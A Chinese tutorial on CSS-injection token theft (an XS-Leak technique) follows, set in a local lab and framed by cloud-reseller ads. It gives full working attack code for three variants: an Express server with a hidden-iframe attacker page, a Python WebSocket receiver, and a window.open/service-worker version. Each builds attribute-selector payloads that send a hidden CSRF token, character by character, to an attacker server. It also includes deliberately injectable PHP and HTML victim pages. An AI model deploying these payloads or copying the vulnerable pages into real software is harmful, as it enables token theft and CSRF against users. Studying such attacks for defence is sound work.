CSS注入 2.0

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

看过CSS注入1.0的朋友不相信对CSS注入有了一个概念性的理解在上一篇文章中我只是简单复现了一下波兰老哥的CSS注入过程阐述了其大致原理。对于其中很大一部分技术细节代码细节并未做深入的理解(当时我也看不懂哈哈)。今天在写个CSS注入2.0CSS注入在做一个更为深入的总结分享。

1. 什么是CSS注入

35C3比赛中初次出现按照归属来分的话可以划分到XS-Leak攻击中去的一种攻击手段。

XS-Leak 的原理是使用 Web 上可用的此类侧信道来显示有关用户的敏感信息例如他们在其他 Web 应用程序中的数据、有关其本地环境的详细信息或他们连接到的内部网络。

说的直白点就是通过客户端的一些漏洞泄露客户端本只属于客户的信息可以称之为侧信道攻击即XS-Leak攻击。

叫什么名字做个了解就行重要的是作为一种攻击方式它的攻击目标、攻击手段、以及防护方式都是我们需要去深入了解的。

CSS注入的目的在1.0中已经说过了就是要通过一台攻击服务器伪造页面对存在注入点的页面进行挟持不断利用CSS属性选择器探测出标签内的隐藏属性(token)实现token的窃取为下一步施行CSRF攻击扫清障碍。

由于其较为苛刻的利用条件导致实际环境中出现不多但是活跃于一些CTF赛事。还是很值得我们研究一番的。

2.基本攻击思路

由于注入点是我们上传的参数会出现在sytle标签中作为CSS元素使用。那么我们就有必要了解下面两种实现攻击的CSS属性。

2.1 CSS属性选择器

CSS 2 引入了属性选择器。属性选择器可以根据元素的属性及属性值来选择元素。也就是说为了大范围的控制元素的属性CSS支持使用选择器匹配抓取元素的属性对其进行一些CSS样式的设置。

标签名称[属性名=(也可以是~=等特殊判断号)"匹配值"]{设置的样式}
选择器类型选择器含义
[attr]表示带有以 attr 命名的属性的元素。
[attr=value]表示带有以 attr 命名的属性且属性值为 value 的元素。
[attr~=value]表示带有以 attr 命名的属性的元素并且该属性是一个以空格作为分隔的值列表其中至少有一个值为 value。
[attr|=value]表示带有以 attr 命名的属性的元素属性值为“value”或是以“value-”为前缀"-"为连字符Unicode 编码为 U+002D开头。典型的应用场景是用来匹配语言简写代码如 zh-CNzh-TW 可以用 zh 作为 value。
[attr^=value]表示带有以 attr 命名的属性且属性值是以 *value *开头的元素。
[attr$=value]表示带有以 attr 命名的属性且属性值是以 *value *结尾的元素。
[attr*=value]表示带有以 attr 命名的属性且属性值至少包含一个 *value *值的元素。
[attr operator value i]在属性选择器的右方括号前添加一个用空格隔开的字母 i或 I可以在匹配属性值时忽略大小写支持 ASCII 字符范围之内的字母。
[attr operator value s] 实验性在属性选择器的右方括号前添加一个用空格隔开的字母 s或 S可以在匹配属性值时区分大小写支持 ASCII 字符范围之内的字母。

看到这个表格有兴趣的可以去MDN当然我们今天的主角其实就是[attr^=value]这一款选择器。我们举个例子看一看

<!doctype html><meta charset=utf-8>
<form action="">  
    <p>
        测试框1<input value="aaabbb">
    </p>
    
    <p>
        测试框2<input value="bbbaaa">
    </p>

    <p>
        测试框3<input value="asc">
    </p>
</form>
<style>
/* 测试选择器 */
input[value^="aa"]{
    background-color: red;
}

input[value^="b"]{
    background: url(http://127.0.0.1/secbasic/1.jpg);
}

</style>

测试结果

在这里插入图片描述
关注选择器的内容我们看到它准确的选中了两个a开头的元素并修改了颜色。并且再选中b的时候还发送出了url请求。

两件事第一我们可以对元素的属性值进行筛选。第二筛选完毕后可以通过web请求的方式将结果发送出去

前面的注入原理中说过了我们的目标是隐藏元素的属性数值因为隐藏属性的缘故我们想要探测它的数值仅仅使用属性选择器是无法选中的。

比如

<!doctype html>
<meta charset=utf-8>
<form action="">
    <input type=hidden value="lalala">
    
    <p>
        测试框1<input value="aaabbb">
    </p>
    
    <p>
        测试框2<input value="bbbaaa">
    </p>

    <p>
        测试框3<input value="asc">
    </p>
</form>

<style>
    /* 测试选择器 */
    input[value^="lalala"] {
        background: url("http:/127.0.0.1/secbasic/1.jpg");
    }
</style>

在这里插入图片描述
无法选中从而无法发出请求。那我们就需要借助另一个宝贝了。

2.2 通用兄弟选择器

通用兄弟选择器~将两个选择器分开并匹配第二个选择器的所有迭代元素位置无须紧邻于第一个元素只须有相同的父级元素。

/* 在任意图像后的兄弟段落 */
img ~ p {
  color: red;
}

示例套用属性选择器之后选中隐藏标签

<!doctype html>
<meta charset=utf-8>
<form action="">
    <input type=hidden value="lalala">
    
    <p>
        测试框1<input value="aaabbb">
    </p>
    
    <p>
        测试框2<input value="bbbaaa">
    </p>

    <p>
        测试框3<input value="asc">
    </p>
</form>

<style>
    /* 测试选择器 */
    input[value^="lalala"] ~*{
        color: yellow;
        background: url("https://www.baidu.com");
    }
</style>

在这里插入图片描述

可以看到因为lalala属性值的判断选中成功将元素的颜色进行了设置并且发出了url请求。

那么css属性选择器和通用兄弟选择器结合起来使用就可以判断隐藏标签的属性值发出请求了。

2.3 一台攻击服务器

此时我们需要一台攻击服务器将注入点页面挟持在自己的页面内部之后通过自己页面内部的JS代码不断控制着源注入点页面进行CSS属性的快速更换获取到的信息发送给本地服务器的处理接口快速爆破出标签内的隐藏属性值。

3.实现方式

3.1 js+nodejs实现CSS注入

实验环境本地使用phpstudy搭建apache服务开启虚拟主机虚拟主机中的页面存放注入点页面。本地配置nodejs环境使用nodejs模拟另一台服务器。这样注入页面就可以用域名进行访问。模拟真实的环境。

3.1.1 注入点页面

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>

<!doctype html><meta charset=utf-8>

<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>

<style>
/* 正则替换style闭合标签防止恶意闭合get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>

可以清楚的看到注入点的特征含有input使用input进行数据提交同时页面内存在CSS属性的get参数提交接口用于页面CSS属性的控制。

3.1.2 服务端页面

nodejs页面

var express = require('express');
var app = express();
var path = require('path');
var token = "";

//采用CORS实现跨域允许被攻击页面向服务器发送请求
app.all("*", function(req,res,next){
    //设置允许跨域的域名*代表允许任意域名跨域 
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
    res.header("Access-Control-Allow-Credentials", true);
    next()
})


//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function(req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});

//return页面请求向客户端返回刚获取到的token
app.get('/return', function(req, res){
    res.send(token);
});


//返回恶意页面
app.get('/css.html', function(req, res){
    res.sendFile(path.join(__dirname, 'css.html'));
})

//配置本地服务器
var server = app.listen(8083, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

恶意页面此页面与nodejs页面在同一个目录下

<html>
    <style>
        #frames {
            visibility: hidden;
        }
    </style>
    <body>
        <div id="current"></div>
        <div id="time_to_next"></div>
        <div id="frames"></div>
    </body>
    <script>
        //从上到下依次为注入点、receive服务请求、return服务请求
        vuln_url = 'http://www.bbb.com/cssinject/css.php?css=';
        server_receive_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';
        
        // 创建攻击字典数组 - 已知哈希方法为md5则可以只匹配a-f0-9这十六个字符
        chars = "123456789abcdef".split("");
        //定义已知的token
        known = "";

        function test_char(known, chars) {
            // Remove all the frames
            document.getElementById("frames").innerHTML = "";

            // Append the chars with the known chars
            css = build_css(chars.map(v => known + v));

            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
            frame = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like一定要偷偷摸摸的藏好iframe
            document.getElementById("frames").appendChild(frame);

            // in 1 seconds, after the iframe loads, check to see if we got a response yet
            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                //创建事件监听器加载完毕后执行known_listener()函数
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        //创建payload的函数构建css参数内容 --- 属性选择器构成的老长一串URL
        function build_css(values) {
            css_payload = "";
            for(var value in values) {
                css_payload += "input[value^=\""
                    + values[value]
                    + "\"]~*{background-image:url(" 
                    + server_receive_token_url
                    + values[value]
                    + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            return css_payload;
        }

        //监听事件使用的函数
        function known_listener () {
            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
            if(known != this.responseText) {
                //判断未结束爆破则递归调用test_char函数开启下一轮爆破
                //先将调用者的返回体text格式赋值给known完成前端已爆破数据的存储
                known = this.responseText;
                //递归调用test_char开启下一轮爆破
                test_char(known, chars);
            } else {
                //判断已经结束爆破提示弹窗
                known = this.responseText;
                alert("CSRF token is: " + known);
            }
        }

        //第一次调用爆破函数
        test_char("", chars);
    </script>
</html>

3.1.3 测试效果

1.对应目录下开启nodejs服务

D:\phpstudy_pro\WWW\bbb\cssinject>node css.js
Example app listening at http://:::8083

2.模拟客户点击恶意页面

http://127.0.0.1:8083/css.html

在这里插入图片描述

服务端显示

在这里插入图片描述
3.得出结论

测试成功使用iframe将受害页面包含进来可以对其进行CSS注入。获取token。

token存储位置服务端创建变量token中转给客户端并将token数值打印输出到服务端。

3.1.4 对比波兰研究员的方案

CSS注入1.0中我们采用的就是波兰这位研究员的测试方案再次查看效果

在这里插入图片描述
代码这里就不再赘述了通过分析我们可以看到这里攻击服务器在客户端的cookie中临时存储token的爆破结果如果在服务器上将结果打印出来同样可以获取用户的token。两种方法均是利用iframe标签重复在页面内发起对于注入点的css注入试图爆破出隐藏的标签属性token。最终都可以达到目的。

修改后的nodeJS代码

const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');

const PORT = 3000;

// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
const { token } = req.params;

// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
// token i tej samej wartości, która została przekazana w URL-u
res.cookie('token', token);
console.log(token);
res.send('');
});

app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});

app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});

app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})

在这里插入图片描述

3.2 js+websocket实现CSS注入

3.2.1 注入点页面(需要服务器解析)

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>

<!doctype html><meta charset=utf-8>

<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>

<style>
/* 正则替换style闭合标签防止恶意闭合get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>

3.2.2 恶意页面(需要服务器解析)

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <div id="div"></div>
    <iframe id="leakchar"></iframe>
</body>
<script>
    const WS = "ws://127.0.0.1:8000";
    const HTTP = "http://127.0.0.1:8008";
    const ALPHABET = Array.from("0123456789abcdef");
    var s = new WebSocket(WS);

    s.onopen = function (event) {
        console.log('connection open');
        next('');
    }
    s.onmessage = function (event) {
        let token = event.data.match(/\w+/)[0];
        next(token);
    }
    s.onclose = function (event) {
        console.log('bye');
    }

    function next(token) {
        if (token.length < 32) {
            console.log('leaking ' + token + '* ...');
            document.getElementById('leakchar').src = 'http://www.bbb.com/cssinject/css.php?css=' + generateCSS(token);
        } else {
            console.log('done, lets pwn');
            changeEmail(token);
        }
    }

    function generateCSS(token) {
        let css = '';
        for (let char of ALPHABET) {
            css += `input[value^="${token}${char}"] ~*{background: url(http://127.0.0.1:8008/${token}${char})}`;
        }

        return css;
    }

    function changeEmail(token) {
        var div = document.getElementById("div");
        div.innerHTML = token;
    }
</script>

</html>

3.2.3 websocket服务端(使用python架设)

from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket

PORT_HTTP = 8008
PORT_WS = 8000

class RequestHandler(BaseHTTPRequestHandler, WebSocket):
    def do_GET(self):
        """Respond to a GET request."""
        print("http GET request")
        self.send_response(200)
        self.end_headers()
        ws.sendMessage(self.path)
        return

class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
    """Handle requests in a separate thread."""

class SimpleEcho(WebSocket):

    def handleMessage(self):
        # echo message back to client
        print(self.address, 'new msg')
        #self.sendMessage(self.data)

    def handleConnected(self):
        print(self.address, 'connected, opening http server')
        global ws
        ws = self
        httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
        server_thread = Thread(target=httpd.serve_forever)
        server_thread.daemon = True
        server_thread.start()
        print('http is on 8000,and ws is on 8008:')

    def handleClose(self):
        print(self.address, 'closed')

server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()

这个可以放在本地的pycharm里面运行需要进行导包

pip install SimpleWebSocketServer

在这里插入图片描述

3.2.4 访问恶意页面获取信息

http://www.bbb.com/cssinject3/index.html

在这里插入图片描述
本例通过websocket来作为后端服务器接收处理参数与上述两种方案均有异曲同工之妙。但是一旦浏览器禁用了iframe标签包含。是不是真的可以防御XSS注入呢我们俩看下面这个例子

3.3 window.open结合serviceworker

3.3.1 servicerworker概念

这里参考另一位安全研究员的github这里他提供了不用iframe完成css注入的解决方案。核心思路是利用了wondws.open方法进行跨域通信完成注入。
在这里插入图片描述
在该作者的代码中使用了servicerworker这样一个JS特有的特性。Service Worker 首先是一个运行在后台的 Worker 线程然后它会长期运行充当一个服务很适合那些不需要网页或用户互动的功能。它的最常见用途就是拦截和处理网络请求。

Service Worker 是一个后台运行的脚本充当一个代理服务器拦截用户发出的网络请求比如加载脚本和图片。Service Worker 可以修改用户的请求或者直接向用户发出回应不用联系服务器这使得用户可以在离线情况下使用网络应用。它还可以在本地缓存资源文件直接从缓存加载文件因此可以加快访问速度。

具体参考《阮一峰的 webAPI教程》,重点是这样一种特性只能在https网页中使用因为设计者人为http通信的不安全性给这样的前端脚本造成十分巨大的安全威胁。

下面演示以下我做了一点点修改的代码因为原来的代码修改起来确实很麻烦。

3.3.2 注入点页面

名称为victim.html

<html>
<form action="https://security.love" id="sensitiveForm">
    <input type="hidden" id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
    <input >
</form>

<script>
    //处理接收的参数将其作为style嵌入页面
    var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);
    var htmlEncode = fragment.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    document.write("<style>" + htmlEncode + "</style>");   
</script>

<script src="./server.js">
    //包含进响应message的js代码
</script>

</html>

当然还有它的配套JS为了方便我将测试所有页面都放到192.168.2.169这台centos7服务器上去了。注意服务器一定要配置为HTTPS才能成功。

名称server.js

navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {
    console.log("got message");
    // if (event.origin !== "http://www.aaa.com") 先前的源判断可以不添加
    //     return;
    localStorage.setItem("csrfToken", event.data);
}

3.3.3 攻击页面

攻击主页面attacker.html

<html>

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
</head>

<body onclick="potatoes(0)">click somewhere to begin attack</body>
</br>
The CSRF token is:
<div id="CSRFToken"></div>

</html>

<script>
    //判断浏览器是否支持localstorge功能
    if ('serviceWorker' in navigator) {
        console.log('浏览器支持navigator功能');
        navigator.serviceWorker.register('./sw.js');
    }

    localStorage.removeItem('csrfToken');

    // 创建攻击字典数组 - 已知哈希方法为md5则可以只匹配a-f0-9这十六个字符
    chars = "123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("");
    //创建url请求+分割符(分隔符用于提取已知token)
    var server_url = 'https://192.168.2.169/cssinject2/1.php/';

    var potatoes = function (count) {
        var csrfToken = localStorage.getItem("csrfToken");
        if (!csrfToken) {
            csrfToken = '';
        }
        //调用函数生成payload
        var css = build_css(chars.map(v => csrfToken + v));
        
        //指定目标URL,上方URL用于互相切换
        var win2 = window.open('https://192.168.2.169/cssinject2/1.php', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
        var win2 = window.open(`https://192.168.2.169/cssinject2//victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")

        //调用窗口的blur方法
        win2.blur();
        var newCount = count + 1;
        if (csrfToken.length == 20) {
            return null;
        }
        setTimeout(function () {
            potatoes(newCount);
        }, 2000);
    }
    window.addEventListener('storage', function (e) {
        if (e.key == "csrfToken") {
            document.getElementById("CSRFToken").innerHTML = e.newValue;
        }
    });

    //css生成器函数
    function build_css(values) {
        css_payload = "";
        for (var value in values) {
            css_payload += "#sensitiveForm input[value^=\""
                + values[value]
                + "\"]~*{background-image:url("
                + server_url
                + values[value]
                + ")%3B}"; //这里需要进行URL编码因为;在JS中是有含义的不能直接写
        }
        return css_payload;
    }

</script>

servicerworker驻留脚本sw.js

self.addEventListener('fetch', function(event) {
    //抓取请求出去的URL
    var urlLogged = event.request.url;
    //以1.php这个无意义的字符为分隔符提取出token将其打印出来并发送给注入页面 --- 让注入页面将其存储到localstorge
    if (urlLogged.indexOf("/1.php/") >=0  && urlLogged.indexOf("victim") == -1){
        var splitted = urlLogged.split("/1.php/");
        var csrfToken = splitted[splitted.length - 1];
        console.log(csrfToken);
        self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken)));
    }
});

3.3.4 测试效果

测试结果测试成功
在这里插入图片描述
这里是它的localstorge
在这里插入图片描述

4.总结

经过以上第三节对于多种CSS注入方法的测试得出结论如果限制了iframe标签可以很大程度上限制住我们的CSS注入攻击。至于第四种使用了servicerworker特性的注入方法也是因为其注入页面是设计过的其会响应恶意攻击的流程。致使该方法目前看来仅仅具有观赏性。

很简单因为作为攻击方将恶意网页发送给受害人时一定需要一个接收token的服务端来获取结果。3.1与3.2的nodejs和websocket均可以完成此目的而3.3示例中并未使用后端服务器接收响应的结果。

关于CSS注入它的过程还是值得进一步推敲的当然在这一学习过程中我们也额外收获了诸如websockert通信技术、serviceworker技术等概念。

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: CSS